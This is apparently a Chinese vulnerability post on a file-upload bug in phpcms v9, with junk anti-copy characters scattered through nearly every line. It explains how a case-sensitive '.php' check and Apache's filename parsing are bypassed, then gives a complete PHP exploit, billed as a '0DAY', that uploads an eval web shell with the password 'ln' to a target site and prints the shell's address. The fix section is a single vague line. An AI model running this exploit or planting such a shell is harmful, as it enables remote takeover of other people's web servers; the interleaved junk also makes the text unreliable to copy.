漏洞类型: 文件上传导致任意代码执行% W3 t' }. @% s( r6 k$ R( B8 e
# Z0 v* |1 X: c
简要描述:& ~+ P( s* ~ I: [, m
. K) |5 {5 ]+ yphpcms v9 getshell (apache)4 d* v7 N) U u" s
详细说明:
6 O3 V! H4 ~5 u# A2 Z; i n* o' b/ G8 R. J% ]5 I
漏洞文件:phpcms\modules\attachment\attachments.php& B2 H# y+ h1 ~9 a; w; o
$ o- F1 `2 K5 C6 y: i8 }
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
" m6 u* B# M$ A; y; D7 q, {' I( H- T后缀检测:phpcms\modules\attachment\functions\global.func.php8 p6 S8 I! z8 g- W6 J
9 z- ]. o2 e% v% `' m8 r
5 [, ?) Q2 d0 O9 j$ N& ~; I+ W% ^; J* j8 ]$ T
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } % k2 v7 V- d$ m% {' h+ u! X
5 u+ u1 R" U! H% ^" I! f+ K3 i
关键函数:6 E, ~ q6 T5 W$ z/ z
7 n* |0 p0 `9 [) w
" V; l; h# m0 {5 Z3 Q
, `8 d5 j0 T9 u. \% a! Ifunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
% Z9 F" q1 k, L5 H Z- ^) U$ L1 m, V/ p% J+ X5 L1 p6 M
Fileext函数是对文件后缀名的提取。9 C; I) ]: y. V/ d" u
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php5 k# _$ z/ H- S" i
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。& j9 T5 ~. \( m: S* r' m
我们回到public function crop_upload() 函数中/ I/ `" W2 ?1 t$ V
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();0 H7 n* u. f! X2 y' U' `
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
2 E( r$ w% _* W0 G6 e这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。3 n0 r* N$ N6 s$ _# Y5 E. p8 y
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
- f0 B$ ~/ o; f; m$ {1 I: s4 I最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
* j3 L2 j, ^/ x看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
; u7 M. ~: d% y/ i漏洞证明:8 R9 S! b2 p& S [0 d3 I
a* S7 H) F& n' Oexp:3 ^/ L- i4 Z! ~5 [; [
9 O/ ~! b: y6 T( ^* N
<?php
' M* o d) g, |4 aerror_reporting(E_ERROR);3 o. u3 e6 X- R, y" x) U) n y6 F
set_time_limit(0);
, `- E, J0 E4 H) ], N) n7 |$pass="ln";
& x" r8 q* F7 C+ H' ~print_r('
/ i9 |; X) I" E! f, T/ G% X& L/ ^& i' y+---------------------------------------------------------------------------+
9 n0 ]4 P. K; B gPHPCms V9 GETSHELL 0DAY
* c" U* A. t% `/ zcode by L.N.# k8 m, X$ D" E) l4 ~9 I" v/ @
) ]5 s4 S5 p0 b9 s. E6 e) x; R2 ?
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net# Z3 P( \9 l P
+---------------------------------------------------------------------------+
g) M" A& G( M' K/ B4 ~( O: Y');
x2 v3 ]* P2 R ]6 v% }; F: wif ($argc < 2) {3 s6 b8 z; D/ [% j; Z0 ^
print_r('9 ^2 m$ w: @, X' n% p' h
+---------------------------------------------------------------------------+
" x0 q- f# z, \( p" K7 B4 Z9 h, [ |Usage: php '.$argv[0].' url path
# b; t! ~& X8 ^% y7 C
2 C U( | E& w7 S, @& A) a) zExample: w. _1 f8 Y% k
1.php '.$argv[0].' lanu.sinaapp.com
# e. L. I$ z+ ^- w7 l2 |2.php '.$argv[0].' lanu.sinaapp.com /phpcms- L {1 Z& k4 h3 Y) ?! N& Z
+---------------------------------------------------------------------------+6 U- a1 h! }8 b/ e
');
& Q0 R: ~* U$ sexit;" H6 X! M3 Y/ V$ x# T
}
& N& h/ B) A% N: j* a; g, \) y* ?" g: ~0 ]
$url = $argv[1];% X/ s6 ~6 d9 E/ f# E
$path = $argv[2];! i/ k5 ^6 v% Z( u2 j0 i
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';2 i" M/ h$ f- F" m
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';0 o( X( g8 E; ^
if($ret=Create_dir($url,$path))
5 f. L7 W% j# n- z0 }. B1 {* v{
6 O6 Q) |: B9 p+ h/ c' M& d7 k//echo $ret;
4 z, X. T# q& _1 ]6 O/ C$pattern = "|Server:[^,]+?|U";7 G, t6 D" m2 b0 N. k' @* t
preg_match_all($pattern, $ret, $matches);
! V5 A1 o( d$ L2 r1 H0 K4 [if($matches[0][0])
! D5 q) E# c5 Z u{
9 @6 o, o5 q! @- s; S& C! J0 pif(strpos($matches[0][0],'Apache') == false)
" [8 D! E8 k6 f; f. G7 `7 l# k{
1 R' q N; o" Q4 eecho "\n亲!此网站不是apache的网站。\n";exit;& q! I- R0 w% i$ i3 X9 i- W
}: _; p, I0 z3 p1 n) ^: h
}
5 Y0 I6 I2 f& H7 M- n% _4 ?# f$ret = GetShell($url,$phpshell,$path,$file);: R7 a7 t/ k/ P; Y3 A6 P" g
$pattern = "|http:\/\/[^,]+?\.,?|U";
( ]# T8 ~8 i7 c- y4 x2 y4 X6 W+ tpreg_match_all($pattern, $ret, $matches);7 |1 P, I" G+ q$ c
if($matches[0][0])
$ N, L5 e' e% e7 F2 A7 t" }{
+ J8 |% c4 f6 a% necho "\n".'密码为: '.$pass."\n";
3 F) i+ t6 ~# e8 |$ k; P; gecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;5 H! T3 h% |# M4 G6 P
}
$ V$ b/ l! T4 _* p( Relse
5 [8 p- l1 g4 \, H. H# s{1 u/ @( ~9 i- P. Y
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";! C/ y9 S) d' |+ y* P% {4 Q
preg_match_all($pattern, $ret, $matches);2 }; N, c$ Q$ q0 Q# W; t
if($matches[0][0])
0 X$ Q* R) N% g& Q6 G{5 O; q- G4 Q$ g8 o
echo "\n".'密码为: '.$pass."\n";
4 l3 ~; o# j$ P! ]" N5 decho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;/ R( L: c& w u- \' E
}
; r& l, `8 \ u7 |. B _( Qelse9 p6 k/ [5 P$ T6 l* r5 ?' P5 H
{
& e3 Y' k" @" ?+ Recho "\r\n没得到!\n";exit;
* i6 C" ?# N0 x: X}2 S4 k V; B& i; f2 a9 D
}
5 y: [( S! j. m/ o% Z}/ s- \! `2 t# d% a, u6 _' Y( K) p
' S4 R n( Y/ Wfunction GetShell($url,$shell,$path,$js)
h# U& h+ h2 A# K; k1 M{
1 B6 q+ o1 Q$ l; T0 i( p6 c$content =$shell;6 }# P0 F3 m' I5 K8 d3 l1 g
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
4 h$ }- v* H z# D$ A5 _, t$data .= "Host: ".$url."\r\n";0 ?4 m" B% p5 j/ b/ o
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ g- J6 N1 [. h% E+ ^# T0 j
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ V* ^1 q- d' Q: W a+ m& \3 w$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";( L1 `0 k/ y9 ^0 i/ |- q' P
$data .= "Connection: close\r\n";) L1 x' b$ S) i: U$ O
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";/ {. R0 f# _; C: Q/ [) z$ V
$data .= $content."\r\n";+ c, p! R b5 o4 f) \: F
$ock=fsockopen($url,80);
' @9 Z* i4 E9 B) g) c# a. xif (!$ock)
) G$ l0 ^& }- q' }! _+ ~0 ]( a* z. d{
* o3 j r( K; secho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;" j# g4 z+ `, t# V J1 H3 x
}
7 Q6 S: I# i/ D1 E: K' y. j c8 Kelse
' S+ v& ]4 G$ |2 S& j{! h6 r" `3 o0 P# {/ v& J& D. e" \7 R+ I
fwrite($ock,$data);
0 f# N; U7 [$ v/ r$resp = '';
8 J* ~# A$ N+ b0 j9 d9 qwhile (!feof($ock))) O: k- T+ _* }: U8 \7 l2 J0 H$ `
{
! P* o6 J( m' |$resp.=fread($ock, 1024);
8 Q+ C8 O+ `3 z3 _. J* O}1 g/ {1 V' H2 J j- j. e8 h
return $resp;# p+ i2 |, E% x3 r$ b' V" l
}
( Y C0 c/ q$ r; H4 G% A) u+ X}
, Z! O1 Z1 O6 O; T$ a5 P" K5 k0 ?6 A0 A$ u, L
function Create_dir($url,$path='')$ r: C0 y1 m/ s+ `2 F6 J
{! k+ S0 y* j9 U: y
$content ='I love you';- r$ H3 \6 {& `' Y+ V% B# I3 [
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- f; P' q' f# m. b6 M9 d$data .= "Host: ".$url."\r\n";
5 ~7 z. n) o4 P W$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
, C( W7 a4 r6 u4 ]) @ b/ K$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";. N& e+ k& y9 H r9 A- ?
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";. D8 t- N+ G( J
$data .= "Connection: close\r\n";/ }! ^$ i, F5 I$ v$ L# v4 r
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
) L0 \ b+ \ b) {; \% n3 Q, m$data .= $content."\r\n";
5 i" i' P- e4 y; P& \4 l% B3 w% Y/ t$ock=fsockopen($url,80);
7 h9 k# k& x' k, N5 P' l4 D7 gif (!$ock)
$ ~2 d3 e$ _4 B, Y' ^2 A; }{" h c- w' ~9 [# [ Z- G: y
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
4 s F" E) g6 g# J! w}- G) f8 _) d4 O0 ^2 { D
fwrite($ock,$data);
$ S6 J* o# X& p. |5 t$resp = '';9 V9 [; ~0 h- v: @5 Q( }3 q* M8 {
while (!feof($ock))) o5 Q2 Y9 w, c: J. ?$ b
{
- j- \ l7 M w$resp.=fread($ock, 1024);
9 y+ a4 x( m: U}" b$ z; m. p5 U) s. w) r9 j
return $resp;
) V% O3 {5 J' V+ i. j}4 D2 F1 T; @; }/ E1 ?2 I. P
?>
1 F8 Q) v- r" H R9 z* n. [, H " e: c" s0 d% h# G# A8 z! V
修复方案:
, ^) w5 p3 y$ J# H9 R( A N/ R& b- S8 @) f% p1 ]6 E
过滤过滤再过滤
1 B* g7 g2 ]" b) Y. g' |) ~6 `# W. z# N
|